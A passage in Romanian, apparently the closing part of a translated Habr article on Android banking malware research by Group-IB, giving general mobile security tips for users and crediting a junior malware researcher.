Un punct esențial important este disponibilitatea analizei cross-channel, care permite companiilor să controleze riscurile care apar nu numai pe internet, ci și pe canalul mobil, de exemplu, în aplicații pentru mobile banking, pentru tranzacții cu criptomonede și orice altele unde tranzacţiile pot fi efectuate.tranzacţie financiară.

Reguli de siguranță pentru utilizatori:

  • nu instalați aplicații pentru un dispozitiv mobil cu OS Android din alte surse decât Google Play, acordați o atenție deosebită drepturilor solicitate de aplicație;
  • instalați în mod regulat actualizări ale sistemului de operare Android;
  • acordați atenție extensiilor fișierelor descărcate;
  • nu vizitați resurse suspecte;
  • Nu faceți clic pe linkurile primite în mesajele SMS.

În rolurile principale Semyon Rogacheva, specialist junior în cercetarea malware la Laboratorul de criminalistică informatică Group-IB.

Sursa: www.habr.com

Adauga un comentariu